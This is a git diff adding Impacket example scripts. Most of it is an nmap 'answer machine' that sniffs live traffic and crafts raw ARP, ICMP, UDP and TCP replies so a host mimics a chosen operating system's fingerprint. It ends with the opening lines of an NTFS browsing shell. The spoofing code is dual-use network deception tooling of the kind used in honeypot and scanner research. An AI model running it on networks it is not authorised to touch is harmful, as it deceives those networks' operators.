(in_onion[O_IP].get_ip_off() & 0xe000) + + def isMine(self, in_onion): + if len(in_onion) < 2: return False + + return ( + (in_onion[O_IP].ethertype == ImpactPacket.IP.ethertype) and + (in_onion[O_IP].get_ip_dst() == self.machine.ipAddress) and + self.sameIPFlags(in_onion) + ) + + def setTTLFromFingerprint(self, out_onion): + f = self.fingerprint + # Test T: Initial TTL = range_low-range_hi, base 16 + # Assumption: we are using the minimum in the TTL range + try: + ttl = f['T'].split('-') + ttl = int(ttl[0], 16) + except: + ttl = 0x7f + + # Test TG: Initial TTL Guess. It's just a number, we prefer this + try: ttl = int(f['TG'], 16) + except: pass + + out_onion[O_IP].set_ip_ttl(ttl) + +class ICMPResponder(IPResponder): + def buildAnswer(self, in_onion): + out_onion = IPResponder.buildAnswer(self, in_onion) + icmp = ImpactPacket.ICMP() + + out_onion[O_IP].contains(icmp) + out_onion.append(icmp) + + icmp.set_icmp_id(in_onion[O_ICMP].get_icmp_id()) + icmp.set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) + + out_onion[O_IP].set_ip_id(self.machine.getIPID_ICMP()) + + return out_onion + + def isMine(self, in_onion): + if not IPResponder.isMine(self, in_onion): return False + if len(in_onion) < 3: return False + + return (in_onion[O_ICMP].protocol == ImpactPacket.ICMP.protocol) and self.sameICMPTemplate(in_onion) + + def sameICMPTemplate(self, in_onion): + t_ip = self.template_onion[O_IP] + t_icmp = self.template_onion[O_ICMP] + t_icmp_datalen = self.template_onion[O_ICMP_DATA].get_size() + + return ( + (t_ip.get_ip_tos () == in_onion[O_IP].get_ip_tos ()) and ( + t_ip.get_ip_df () == in_onion[O_IP].get_ip_df ()) and ( + t_icmp.get_icmp_type () == in_onion[O_ICMP].get_icmp_type ()) and ( + t_icmp.get_icmp_code () == in_onion[O_ICMP].get_icmp_code ()) and ( + t_icmp_datalen == in_onion[O_ICMP_DATA].get_size ()) + ) + +class UDPResponder(IPResponder): + def isMine(self, in_onion): + return ( + IPResponder.isMine(self, in_onion) and + (len(in_onion) >= 3) and + (in_onion[O_UDP].protocol == ImpactPacket.UDP.protocol) + ) + +class OpenUDPResponder(UDPResponder): + def isMine(self, in_onion): + return ( + UDPResponder.isMine(self, in_onion) and + self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) + + def buildAnswer(self, in_onion): + out_onion = IPResponder.buildAnswer(self, in_onion) + udp = ImpactPacket.UDP() + + out_onion[O_IP].contains(udp) + out_onion.append(udp) + + udp.set_uh_dport(in_onion[O_UDP].get_uh_sport()) + udp.set_uh_sport(in_onion[O_UDP].get_uh_dport()) + + return out_onion + +class ClosedUDPResponder(UDPResponder): + def isMine(self, in_onion): + return ( + UDPResponder.isMine(self, in_onion) and + not self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) + + def buildAnswer(self, in_onion): + out_onion = IPResponder.buildAnswer(self, in_onion) + icmp = ImpactPacket.ICMP() + + out_onion[O_IP].contains(icmp) + out_onion.append(icmp) + + icmp.contains(in_onion[O_IP]) + out_onion += in_onion[O_IP:] + + icmp.set_icmp_type(icmp.ICMP_UNREACH) + icmp.set_icmp_code(icmp.ICMP_UNREACH_PORT) + + return out_onion + +class TCPResponder(IPResponder): + def buildAnswer(self, in_onion): + out_onion = IPResponder.buildAnswer(self, in_onion) + tcp = ImpactPacket.TCP() + + out_onion[O_IP].contains(tcp) + out_onion.append(tcp) + + tcp.set_th_dport(in_onion[O_TCP].get_th_sport()) + tcp.set_th_sport(in_onion[O_TCP].get_th_dport()) + + return out_onion + + def sameTCPFlags(self, in_onion): + if not self.template_onion: return True + in_flags = in_onion[O_TCP].get_th_flags() & 0xfff + t_flags = self.template_onion[O_TCP].get_th_flags() & 0xfff + + return in_flags == t_flags + + def sameTCPOptions(self, in_onion): + if not self.template_onion: return True + in_options = in_onion[O_TCP].get_padded_options() + t_options = self.template_onion[O_TCP].get_padded_options() + + return in_options == t_options + + def isMine(self, in_onion): + if not IPResponder.isMine(self, in_onion): return False + if len(in_onion) < 3: return False + + return (in_onion[O_TCP].protocol == ImpactPacket.TCP.protocol and self.sameTCPFlags (in_onion) and self.sameTCPOptions ( + in_onion)) + +class OpenTCPResponder(TCPResponder): + def isMine(self, in_onion): + return (TCPResponder.isMine (self, in_onion) and in_onion[O_TCP].get_SYN () and self.machine.isTCPPortOpen ( + in_onion[O_TCP].get_th_dport ())) + + def buildAnswer(self, in_onion): + out_onion = TCPResponder.buildAnswer(self, in_onion) + + out_onion[O_TCP].set_SYN() + out_onion[O_TCP].set_ACK() + out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) + out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) + + return out_onion + +class ClosedTCPResponder(TCPResponder): + def isMine(self, in_onion): + return ( + TCPResponder.isMine(self, in_onion) and + in_onion[O_TCP].get_SYN() and + not self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport())) + + def buildAnswer(self, in_onion): + out_onion = TCPResponder.buildAnswer(self, in_onion) + + out_onion[O_TCP].set_RST() + out_onion[O_TCP].set_ACK() + out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) + out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) + + return out_onion + +class UDPCommandResponder(OpenUDPResponder): + # default UDP_CMD_PORT is 12345 + # use with: + # echo cmd:exit | nc -u $(IP) $(UDP_CMD_PORT) + # echo cmd:who | nc -u $(IP) $(UDP_CMD_PORT) + + def set_port(self, port): + self.port = port + self.machine.openUDPPort(port) + return self + + def isMine(self, in_onion): + return ( OpenUDPResponder.isMine(self, in_onion))# and + #in_onion[O_UDP].get_uh_dport() == self.port) + + def buildAnswer(self, in_onion): + cmd = array_tobytes(in_onion[O_UDP_DATA].get_bytes()) + if cmd[:4] == 'cmd:': cmd = cmd[4:].strip() + print("Got command: %r" % cmd) + + if cmd == 'exit': + from sys import exit + exit() + + out_onion = OpenUDPResponder.buildAnswer(self, in_onion) + out_onion.append(ImpactPacket.Data()) + out_onion[O_UDP].contains(out_onion[O_UDP_DATA]) + if cmd == 'who': + out_onion[O_UDP_DATA].set_data(self.machine.fingerprint.get_id()) + + return out_onion + +# NMAP2 specific responders +class NMAP2UDPResponder(ClosedUDPResponder): + signatureName = 'U1' + + # No real need to filter + # def isMine(self, in_onion): + # return ( + # ClosedUDPResponder.isMine(self, inOnion) and + # (in_onion[O_UDP_DATA].get_size() == 300)) + + def buildAnswer(self, in_onion): + out_onion = ClosedUDPResponder.buildAnswer(self, in_onion) + f = self.fingerprint + + # assume R = Y + try: + if (f['R'] == 'N'): return None + except: pass + + # Test DF: Don't fragment IP bit set = [YN] + if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) + else: out_onion[O_IP].set_ip_df(False) + + self.setTTLFromFingerprint(out_onion) + + # UN. Assume 0 + try: un = int(f['UN'],16) + except: un = 0 + out_onion[O_ICMP].set_icmp_void(un) + + # RIPL. Assume original packet just quoted + try: + ripl = int(f['RIPL'],16) # G generates exception + out_onion[O_ICMP_DATA].set_ip_len(ripl) + except: + pass + + # RID. Assume original packet just quoted + try: + rid = int(f['RID'],16) # G generates exception + out_onion[O_ICMP_DATA].set_ip_id(rid) + except: + pass + + # RIPCK. Assume original packet just quoted + try: ripck = f['RIPCK'] + except: ripck = 'G' + if ripck == 'I': out_onion[O_ICMP_DATA].set_ip_sum(0x6765) + elif ripck == 'Z': out_onion[O_ICMP_DATA].set_ip_sum(0) + elif ripck == 'G': out_onion[O_ICMP_DATA].auto_checksum = 0 + + # RUCK. Assume original packet just quoted + try: + ruck = int(f['RUCK'], 16) + out_onion[O_ICMP_DATA+1].set_uh_sum(ruck) + except: + out_onion[O_ICMP_DATA+1].auto_checksum = 0 + + # RUD. Assume original packet just quoted + try: rud = f['RUD'] + except: rud = 'G' + + if rud == 'I': + udp_data = out_onion[O_ICMP_DATA+2] + udp_data.set_data('G'*udp_data.get_size()) + + # IPL. Assume all original packet is quoted + # This has to be the last thing we do + # as we are going to render the packet before doing it + try: ipl = int(f['IPL'], 16) + except: ipl = None + + if not ipl is None: + data = out_onion[O_ICMP_DATA].get_packet() + out_onion[O_ICMP].contains(ImpactPacket.Data()) + ip_and_icmp_len = out_onion[O_IP].get_size() + + data = data[:ipl - ip_and_icmp_len] + + data += '\x00'*(ipl-len(data)-ip_and_icmp_len) + out_onion = out_onion[:O_ICMP_DATA] + out_onion.append(ImpactPacket.Data(data)) + out_onion[O_ICMP].contains(out_onion[O_ICMP_DATA]) + + return out_onion + +class NMAP2ICMPResponder(ICMPResponder): + def buildAnswer(self, in_onion): + f = self.fingerprint + + # assume R = Y + try: + if (f['R'] == 'N'): return None + except: pass + + out_onion = ICMPResponder.buildAnswer(self, in_onion) + + # assume DFI = N + try: dfi = f['DFI'] + except: dfi = 'N' + + if dfi == 'N': out_onion[O_IP].set_ip_df(False) + elif dfi == 'Y': out_onion[O_IP].set_ip_df(True) + elif dfi == 'S': out_onion[O_IP].set_ip_df(in_onion[O_IP].get_ip_df()) + elif dfi == 'O': out_onion[O_IP].set_ip_df(not in_onion[O_IP].get_ip_df()) + else: raise Exception('Unsupported IE(DFI=%s)' % dfi) + + # assume DLI = S + try: dli = f['DLI'] + except: dli = 'S' + + if dli == 'S': out_onion[O_ICMP].contains(in_onion[O_ICMP_DATA]) + elif dli != 'Z': raise Exception('Unsupported IE(DFI=%s)' % dli) + + self.setTTLFromFingerprint(out_onion) + + # assume SI = S + try: si = f['SI'] + except: si = 'S' + + if si == 'S': out_onion[O_ICMP].set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) + elif si == 'Z': out_onion[O_ICMP].set_icmp_seq(0) # this is not currently supported by nmap, but I've done it already + else: + try: out_onion[O_ICMP].set_icmp_seq(int(si, 16)) # this is not supported either by nmap + except: raise Exception('Unsupported IE(SI=%s)' % si) + + # assume CD = S + try: cd = f['CD'] + except: cd = 'S' + + if cd == 'Z': out_onion[O_ICMP].set_icmp_code(0) + elif cd == 'S': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()) + elif cd == 'O': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()+1) # no examples in DB + else: + try: out_onion[O_ICMP].set_icmp_code(int(cd, 16)) # documented, but no examples available + except: raise Exception('Unsupported IE(CD=%s)' % cd) + + # assume TOSI = S + try: tosi = f['TOSI'] + except: tosi = 'S' + + if tosi == 'Z': out_onion[O_IP].set_ip_tos(0) + elif tosi == 'S': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()) + elif tosi == 'O': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()+1) # no examples in DB + else: + try: out_onion[O_IP].set_ip_tos(int(tosi, 16)) # documented, but no examples available + except: raise Exception('Unsupported IE(TOSI=%s)' % tosi) + + return out_onion + +class NMAP2TCPResponder(TCPResponder): + def buildAnswer(self, in_onion): + out_onion = TCPResponder.buildAnswer(self, in_onion) + + f = self.fingerprint + + # Test R: There is a response = [YN] + if (f['R'] == 'N'): return None + + # Test DF: Don't fragment IP bit set = [YN] + if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) + else: out_onion[O_IP].set_ip_df(False) + + # Test W: Initial TCP windows size + try: win = int(f['W'],16) + except: win = 0 + out_onion[O_TCP].set_th_win(win) + + self.setTTLFromFingerprint(out_onion) + + # Test CC: Explicit congestion notification + # Two TCP flags are used in this test: ECE and CWR + try: + cc = f['CC'] + if cc == 'N': ece,cwr = 0,0 + if cc == 'Y': ece,cwr = 1,0 + if cc == 'S': ece,cwr = 1,1 + if cc == 'O': ece,cwr = 0,1 + except: + ece,cwr = 0,0 + + if ece: out_onion[O_TCP].set_ECE() + else: out_onion[O_TCP].reset_ECE() + if cwr: out_onion[O_TCP].set_CWR() + else: out_onion[O_TCP].reset_CWR() + + + # Test O: TCP Options + try: options = f['O'] + except: options = '' + self.setTCPOptions(out_onion, options) + + # Test S: TCP Sequence number + # Z: Sequence number is zero + # A: Sequence number is the same as the ACK in the probe + # A+: Sequence number is the same as the ACK in the probe + 1 + # O: Other value + try: s = f['S'] + except: s = 'O' + if s == 'Z': out_onion[O_TCP].set_th_seq(0) + if s == 'A': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()) + if s == 'A+': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()+1) + if s == 'O': out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) + + # Test A: TCP ACK number + # Z: Ack is zero + # S: Ack is the same as the Squence number in the probe + # S+: Ack is the same as the Squence number in the probe + 1 + # O: Other value + try: a = f['A'] + except: a = 'O' + if a == 'Z': out_onion[O_TCP].set_th_ack(0) + if a == 'S': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()) + if a == 'S+': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) + + # Test Q: Quirks + # R: Reserved bit set (right after the header length) + # U: Urgent pointer non-zero and URG flag clear + try: + if 'R' in f['Q']: out_onion[O_TCP].set_flags(0x800) + except: pass + try: + if 'U' in f['Q']: out_onion[O_TCP].set_th_urp(0xffff) + except: pass + + # Test F: TCP Flags + try: flags = f['F'] + except: flags = '' + if 'E' in flags: out_onion[O_TCP].set_ECE() + if 'U' in flags: out_onion[O_TCP].set_URG() + if 'A' in flags: out_onion[O_TCP].set_ACK() + if 'P' in flags: out_onion[O_TCP].set_PSH() + if 'R' in flags: out_onion[O_TCP].set_RST() + if 'S' in flags: out_onion[O_TCP].set_SYN() + if 'F' in flags: out_onion[O_TCP].set_FIN() + + # Test RD: TCP Data checksum (mostly for data in RST) + try: + crc = f['RD'] + if crc != '0': # when the + crc = int(crc, 16) + data = 'TCP Port is closed\x00' + data += uncrc32.compensate(data, crc) + data = ImpactPacket.Data(data) + out_onion.append(data) + out_onion[O_TCP].contains(data) + except: + pass + return out_onion + + def setTCPOptions(self, onion, options): + def getValue(string, i): + value = 0 + + idx = i + for c in options[i:]: + try: + value = value * 0x10 + int(c,16) + except: + break + idx += 1 + + return value, idx + + # Test O,O1=O6: TCP Options + # L: End of Options + # N: NOP + # S: Selective ACK + # Mx: MSS (x is a hex number) + # Wx: Windows Scale (x is a hex number) + # Tve: Timestamp (v and e are two binary digits, v for TSval and e for TSecr + + i = 0 + tcp = onion[O_TCP] + while i < len(options): + opt = options[i] + i += 1 + if opt == 'L': tcp.add_option(TCPOption(TCPOption.TCPOPT_EOL)) + if opt == 'N': tcp.add_option(TCPOption(TCPOption.TCPOPT_NOP)) + if opt == 'S': tcp.add_option(TCPOption(TCPOption.TCPOPT_SACK_PERMITTED)) + if opt == 'T': + opt = TCPOption(TCPOption.TCPOPT_TIMESTAMP) # default ts = 0, ts_echo = 0 + if options[i] == '1': opt.set_ts(self.machine.getTCPTimeStamp()) + if options[i+1] == '1': opt.set_ts_echo(0xffffffff) + tcp.add_option(opt) + i += 2 + if opt == 'M': + maxseg, i = getValue(options, i) + tcp.add_option(TCPOption(TCPOption.TCPOPT_MAXSEG, maxseg)) + if opt == 'W': + window, i = getValue(options, i) + tcp.add_option(TCPOption(TCPOption.TCPOPT_WINDOW, window)) + +class nmap2_SEQ(NMAP2TCPResponder): + templateClass = None + signatureName = None + seqNumber = None + + def initFingerprint(self): + NMAP2TCPResponder.initFingerprint(self) + if not self.seqNumber: return + else: + OPS = self.machine.fingerprint.get_tests()['OPS'] + WIN = self.machine.fingerprint.get_tests()['WIN'] + self.fingerprint['O'] = OPS['O%d' % self.seqNumber] + self.fingerprint['W'] = WIN['W%d' % self.seqNumber] + +class nmap2_ECN(NMAP2TCPResponder): + templateClass = os_ident.nmap2_ecn_probe + signatureName = 'ECN' + +class nmap2_SEQ1(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_1 + signatureName = 'T1' + seqNumber = 1 + +class nmap2_SEQ2(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_2 + signatureName = 'T1' + seqNumber = 2 + +class nmap2_SEQ3(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_3 + signatureName = 'T1' + seqNumber = 3 + +class nmap2_SEQ4(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_4 + signatureName = 'T1' + seqNumber = 4 + +class nmap2_SEQ5(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_5 + signatureName = 'T1' + seqNumber = 5 + +class nmap2_SEQ6(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_6 + signatureName = 'T1' + seqNumber = 6 + +class nmap2_T2(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_open_2 + signatureName = 'T2' + +class nmap2_T3(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_open_3 + signatureName = 'T3' + +class nmap2_T4(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_open_4 + signatureName = 'T4' + +class nmap2_T5(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_closed_1 + signatureName = 'T5' + +class nmap2_T6(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_closed_2 + signatureName = 'T6' + +class nmap2_T7(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_closed_3 + signatureName = 'T7' + +class nmap2_ICMP_1(NMAP2ICMPResponder): + templateClass = os_ident.nmap2_icmp_echo_probe_1 + signatureName = 'IE' + +class nmap2_ICMP_2(NMAP2ICMPResponder): + templateClass = os_ident.nmap2_icmp_echo_probe_2 + signatureName = 'IE' + +class Machine: + AssumedTimeIntervalPerPacket = 0.11 # seconds + def __init__(self, emmulating, interface, ipAddress, macAddress, openTCPPorts = [], openUDPPorts = [], nmapOSDB = 'nmap-os-db'): + self.interface = interface + self.ipAddress = ipAddress + self.macAddress = macAddress + self.responders = [] + self.decoder = ImpactDecoder.EthDecoder() + + self.initPcap() + self.initFingerprint(emmulating, nmapOSDB) + + self.initSequenceGenerators() + self.openTCPPorts = openTCPPorts + self.openUDPPorts = openUDPPorts + print(self) + + def openUDPPort(self, port): + if self.isUDPPortOpen(port): return + self.openUDPPorts.append(port) + + def isUDPPortOpen(self, port): + return port in self.openUDPPorts + + def isTCPPortOpen(self, port): + return port in self.openTCPPorts + + def initPcap(self): + self.pcap = pcapy.open_live(self.interface, 65535, 1, 0) + try: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress)) + except: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress), 1, 0xFFFFFF00) + + def initGenericResponders(self): + # generic responders + self.addResponder(ARPResponder(self)) + self.addResponder(OpenUDPResponder(self)) + self.addResponder(ClosedUDPResponder(self)) + self.addResponder(OpenTCPResponder(self)) + self.addResponder(ClosedTCPResponder(self)) + + def initFingerprint(self, emmulating, nmapOSDB): + fpm = os_ident.NMAP2_Fingerprint_Matcher('') + f = open(nmapOSDB, 'r') + for text in fpm.fingerprints(f): + fingerprint = fpm.parse_fp(text) + if fingerprint.get_id() == emmulating: + self.fingerprint = fingerprint + self.simplifyFingerprint() + # print(fingerprint) + return + + raise Exception("Couldn't find fingerprint data for %r" % emmulating) + + def simplifyFingerprint(self): + tests = self.fingerprint.get_tests() + for probeName in tests: + probe = tests[probeName] + for test in probe: + probe[test] = probe[test].split('|')[0] + + def initSequenceGenerators(self): + self.initIPIDGenerator() + self.initTCPISNGenerator() + self.initTCPTSGenerator() + + def initIPIDGenerator(self): + seq = self.fingerprint.get_tests()['SEQ'] + self.ip_ID = 0 + + try: TI = seq['TI'] + except: TI = 'O' + + if TI == 'Z': self.ip_ID_delta = 0 + elif TI == 'RD': self.ip_ID_delta = 30000 + elif TI == 'RI': self.ip_ID_delta = 1234 + elif TI == 'BI': self.ip_ID_delta = 1024+256 + elif TI == 'I': self.ip_ID_delta = 1 + elif TI == 'O': self.ip_ID_delta = 123 + else: self.ip_ID_delta = int(TI, 16) + + try: ss = seq['SS'] + except: ss = 'O' + + self.ip_ID_ICMP_delta = None + if ss == 'S': self.ip_ID_ICMP = None + else: + self.ip_ID_ICMP = 0 + try: II = seq['II'] + except: II = 'O' + + if II == 'Z': self.ip_ID_ICMP_delta = 0 + elif II == 'RD': self.ip_ID_ICMP_delta = 30000 + elif II == 'RI': self.ip_ID_ICMP_delta = 1234 + elif II == 'BI': self.ip_ID_ICMP_delta = 1024+256 + elif II == 'I': self.ip_ID_ICMP_delta = 1 + elif II == 'O': self.ip_ID_ICMP_delta = 123 + else: self.ip_ID_ICMP_delta = int(II, 16) + + # generate a few, so we don't start with 0 when we don't have to + for i in range(10): + self.getIPID() + self.getIPID_ICMP() + + print("IP ID Delta: %d" % self.ip_ID_delta) + print("IP ID ICMP Delta: %s" % self.ip_ID_ICMP_delta) + + def initTCPISNGenerator(self): + # tcp_ISN and tcp_ISN_delta for TCP Initial sequence numbers + self.tcp_ISN = 0 + try: + self.tcp_ISN_GCD = int(self.fingerprint.get_tests()['SEQ']['GCD'].split('-')[0], 16) + except: + self.tcp_ISN_GCD = 1 + + try: + isr = self.fingerprint.get_tests()['SEQ']['ISR'].split('-') + if len(isr) == 1: + isr = int(isr[0], 16) + else: + isr = (int(isr[0], 16) + int(isr[1], 16)) / 2 + except: + isr = 0 + + try: + sp = self.fingerprint.get_tests()['SEQ']['SP'].split('-') + sp = int(sp[0], 16) + except: + sp = 0 + + self.tcp_ISN_stdDev = (2**(sp/8.0)) * 5 / 4 # n-1 on small populations... erm... + + if self.tcp_ISN_GCD > 9: + self.tcp_ISN_stdDev *= self.tcp_ISN_GCD + + self.tcp_ISN_stdDev *= self.AssumedTimeIntervalPerPacket + + self.tcp_ISN_delta = 2**(isr/8.0) * self.AssumedTimeIntervalPerPacket + + # generate a few, so we don't start with 0 when we don't have to + for i in range(10): self.getTCPSequence() + + print("TCP ISN Delta: %f" % self.tcp_ISN_delta) + print("TCP ISN Standard Deviation: %f" % self.tcp_ISN_stdDev) + + def initTCPTSGenerator(self): + # tcp_TS and tcp_TS_delta for TCP Time stamp generation + self.tcp_TS = 0 + + try: ts = self.fingerprint.get_tests()['SEQ']['TS'] + except: ts = 'U' + + if ts == 'U' or ts == 'Z': self.tcp_TS_delta = 0 + else: + self.tcp_TS_delta = (2**int(ts, 16)) * self.AssumedTimeIntervalPerPacket + + # generate a few, so we don't start with 0 when we don't have to + for i in range(10): self.getTCPTimeStamp() + + print("TCP TS Delta: %f" % self.tcp_TS_delta) + + def getIPID(self): + answer = self.ip_ID + self.ip_ID += self.ip_ID_delta + self.ip_ID %= 0x10000 + # print("IP ID: %x" % answer) + return answer + + def getIPID_ICMP(self): + if self.ip_ID_ICMP is None: + return self.getIPID() + + answer = self.ip_ID_ICMP + self.ip_ID_ICMP += self.ip_ID_ICMP_delta + self.ip_ID_ICMP %= 0x10000 + # print("---> IP ID: %x" % answer) + return answer + + def getTCPSequence(self): + answer = self.tcp_ISN + self.tcp_ISN_stdDev # *random.random() + self.tcp_ISN_stdDev *= -1 + answer = int(int(answer/self.tcp_ISN_GCD) * self.tcp_ISN_GCD) + self.tcp_ISN += self.tcp_ISN_delta + self.tcp_ISN %= 0x100000000 + # print("---> TCP Sequence: %d" % (answer % 0x100000000)) + return answer % 0x100000000 + + def getTCPTimeStamp(self): + answer = int(round(self.tcp_TS)) + self.tcp_TS += self.tcp_TS_delta + self.tcp_TS %= 0x100000000 + # print("---> TCP Time Stamp: %x" % answer) + return answer + + def sendPacket(self, onion): + if not onion: return + print("--> Packet sent:") + #print(onion[0]) + #print() + self.pcap.sendpacket(onion[O_ETH].get_packet()) + + def addResponder(self, aResponder): + self.responders.append(aResponder) + + def run(self): + while 1: + p = self.pcap.next() + try: in_onion = [self.decoder.decode(p[1])] + except: in_onion = [self.decoder.decode(p[0])] + try: + while 1: in_onion.append(in_onion[-1].child()) + except: + pass + + #print("-------------- Received: ", in_onion[0]) + for r in self.responders: + if r.process(in_onion): break + + +def main(): + def initResponders(machine): + # cmd responder + # machine.addResponder(UDPCommandResponder(machine).set_port(UDP_CMD_PORT)) + + # nmap2 specific responders + machine.addResponder(nmap2_SEQ1(machine)) + machine.addResponder(nmap2_SEQ2(machine)) + machine.addResponder(nmap2_SEQ3(machine)) + machine.addResponder(nmap2_SEQ4(machine)) + machine.addResponder(nmap2_SEQ5(machine)) + machine.addResponder(nmap2_SEQ6(machine)) + machine.addResponder(nmap2_ECN(machine)) + machine.addResponder(nmap2_T2(machine)) + machine.addResponder(nmap2_T3(machine)) + machine.addResponder(nmap2_T4(machine)) + machine.addResponder(nmap2_T5(machine)) + machine.addResponder(nmap2_T6(machine)) + machine.addResponder(nmap2_T7(machine)) + machine.addResponder(nmap2_ICMP_1(machine)) + machine.addResponder(nmap2_ICMP_2(machine)) + machine.addResponder(NMAP2UDPResponder(machine)) + + from sys import argv, exit + def usage(): + print(""" + if arg == '-h': usage() + if arg == '--help': usage() + if arg == '-f': Fingerprint = value + if arg == '-p': IP = value + if arg == '-m': MAC = value + if arg == '-i': IFACE = value + if arg == '-d': nmapOsDB = value + + where: + arg = argv[i] + value = argv[i+1] + """) + exit() + + global Fingerprint, IFACE, MAC, IP, nmapOSDB + for i, arg in enumerate(argv): + try: value = argv[i+1] + except: value = None + if arg == '-h': usage() + if arg == '--help': usage() + if arg == '-f': Fingerprint = value + if arg == '-p': IP = value + if arg == '-m': MAC = value + if arg == '-i': IFACE = value + if arg == '-d': nmapOSDB = value + + print("Emulating: %r" % Fingerprint) + print("at %s / %s / %s" % (IFACE, MAC, IP)) + machine = Machine( + Fingerprint, + IFACE, + IP, + MAC, + OPEN_TCP_PORTS, + OPEN_UDP_PORTS, + nmapOSDB=nmapOSDB) + + initResponders(machine) + machine.initGenericResponders() + machine.run() + +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + main() + +# All Probes +# [x] SEQ +# [x] OPS +# [x] WIN +# [x] T1 +# [x] T2 +# [x] T3 +# [x] T4 +# [x] T5 +# [x] T6 +# [x] T7 +# [x] IE +# [x] ECN +# [x] U1 + +# All Tests + +# SEQ() +# [x] TCP ISN sequence predictability index (SP) +# [x] TCP ISN greatest common divisor (GCD) +# [x] TCP ISN counter rate (ISR) +# [x] IP ID sequence generation algorithm on TCP Open ports (TI) +# [x] Z - All zeros +# [x] RD - Random: It increments at least once by at least 20000. +# [-] Hex Value - fixed IP ID +# [x] RI - Random positive increments. Any (delta_i > 1000, and delta_i % 256 != 0) or (delta_i > 256000 and delta_i % 256 == 0) +# [x] BI - Broken increment. All delta_i % 256 = 0 and all delta_i <= 5120. +# [x] I - Incremental. All delta_i < 10 +# [x] O - (Omitted, the test does not show in the fingerprint). None of the other +# [-] IP ID sequence generation algorithm on TCP closed ports (CI) +# [x] IP ID sequence generation algorithm on ICMP messages (II) +# [x] Shared IP ID sequence Boolean (SS) +# [x] TCP timestamp option algorithm (TS) +# [x] U - unsupported (don't send TS) +# [x] 0 - Zero +# [x] 1 - 0-5.66 (2 Hz) +# [x] 7 - 70-150 (100 Hz) +# [x] 8 - 150-350 (200 Hz) +# [x] - avg_freq = sum(TS_diff/time_diff) . round(.5 + math.log(avg_freq)/math.log(2))) +# time_diff = 0.11 segs +# OPS() +# [x] TCP options (O, O1-O6) +# WIN() +# [x] TCP initial window size (W, W1-W6) +# ECN, T1-T7 +# [x] TCP options (O, O1-O6) +# [x] TCP initial window size (W, W1-W6) +# [x] Responsiveness (R) +# [x] IP don't fragment bit (DF) +# [x] IP initial time-to-live (T) +# [x] IP initial time-to-live guess (TG) +# [x] Explicit congestion notification (CC) +# [x] TCP miscellaneous quirks (Q) +# [x] TCP sequence number (S) +# [x] TCP acknowledgment number (A) +# [x] TCP flags (F) +# [x] TCP RST data checksum (RD) +# IE() +# [x] Responsiveness (R) +# [x] Don't fragment (ICMP) (DFI) +# [x] IP initial time-to-live (T) +# [x] IP initial time-to-live guess (TG) +# [x] ICMP response code (CD) +#-[x] IP Type of Service (TOSI) +#-[x] ICMP Sequence number (SI) +#-[x] IP Data Length (DLI) +# U1() +# [x] Responsiveness (R) +# [x] IP don't fragment bit (DF) +# [x] IP initial time-to-live (T) +# [x] IP initial time-to-live guess (TG) +# [x] IP total length (IPL) +# [x] Unused port unreachable field nonzero (UN) +# [x] Returned probe IP total length value (RIPL) +# [x] Returned probe IP ID value (RID) +# [x] Integrity of returned probe IP checksum value (RIPCK) +# [x] Integrity of returned probe UDP checksum (RUCK) +# [x] Integrity of returned UDP data (RUD) +# [-] ??? (TOS) Type of Service +# [-] ??? (RUL) Length of return UDP packet is correct + +# sudo nmap -O 127.0.0.2 -p 22,111,89 +# sudo python nmapAnswerMachine.py -i eth0 -p 192.168.66.254 -f 'Sun Solaris 9 (SPARC)' diff --git a/examples/ntfs-read.py b/examples/ntfs-read.py new file mode 100644 index 0000000..9a14779 --- /dev/null +++ b/examples/ntfs-read.py @@ -0,0 +1,1228 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Mini shell for browsing an NTFS volume +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# Structure. Quick and dirty implementation.. just for fun.. ;) +# +# NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project.. +# +# ToDo: +# [] Parse the attributes list attribute. It is unknown what would happen now if +# we face a highly fragmented file that will have many attributes that won't fit +# in the MFT Record. +# [] Support compressed, encrypted and sparse files +# + +from __future__ import division +from __future__ import print_function +import os +import sys +import logging +import struct +import argparse +import cmd +import ntpath +# If you wanna have readline like functionality in Windows, install pyreadline +try: + import pyreadline as readline +except ImportError: + import readline +from six import PY2, text_type +from datetime import datetime +from impacket.examples import logger +from impacket import version 